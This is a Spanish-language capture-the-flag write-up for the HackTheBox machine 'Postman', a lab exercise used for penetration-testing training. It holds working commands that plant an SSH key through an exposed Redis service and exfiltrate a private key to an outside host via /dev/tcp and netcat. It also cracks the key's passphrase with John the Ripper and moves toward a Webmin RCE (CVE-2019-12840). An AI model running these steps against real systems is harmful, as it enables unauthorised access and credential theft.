HackTheBox - Postman
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: Redis Exploitation, RCE Webmin (CVE-2019-12840)
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
c. Empezaremos investigando alguna posible vulnerabilidad de redis, ya que la página web no tiene información relevante y poseemos credenciales para el servicio de Webmin
- Pentesting Redis
Como si nos podemos conectar al servicio de redis, veremos si somos capaces de agregar una clave id_rsa pública, con el fin, de conectarnos por SSH
1
2
3
4
5
6
7
8
9
10
❯ pwd
/root/.ssh
❯ ssh-keygen -t rsa
❯ cat spaced_key.txt | redis-cli -h <IP Postman> -x set ssh_key
❯ redis-cli -h <IP Postman>
10.10.10.160:6379> config set dir /var/lib/redis/.ssh
OK
10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
10.10.10.160:6379> save
Si tenemos algún error al ejecutar alguno de los comandos anteriores, debemos reiniciar la máquina
d. Ahora, ya seremos capaces de conectarnos al servicio SSH y empezar a enumerar el sistema para escalar privilegios
Escalada de Privilegios 💹
a. Encontramos una clave id_rsa en el directorio opt, la cuál transferimos a nuestra máquina
1
2
3
redis@Postman:/opt$ cat < id_rsa.bak > /dev/tcp/10.10.14.18/4444
-----------------------------------------------------------------
❯ nc -lvnp 4444 > id_rsa
Esta clave está protegida con contraseña, así que extraeremos el hash con ssh2john para crackearlo
1
2
3
❯ ssh2john id_rsa > hash
❯ john hash -w=/usr/share/wordlists/rockyou.txt
id_rsa:computer2008
b. La contraseña obtenida es del usuario Matt y también sirve para conectarse al servicio Webmin
Al convertirnos en Matt veremos que el propietario del proceso de webmin es root, además de ver la versión al momento de autenticarnos en Webmin
1 2 3
Matt@Postman:/opt$ ps -faux | grep -i webmin <SNIP> root 723 0.0 3.1 95296 29256 ? Ss 14:28 0:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
Al buscar un exploit para esta versión de Webmin llegamos a CVE-2019-12840
c. Nos ponemos en escucha con nc y ejecutamos el script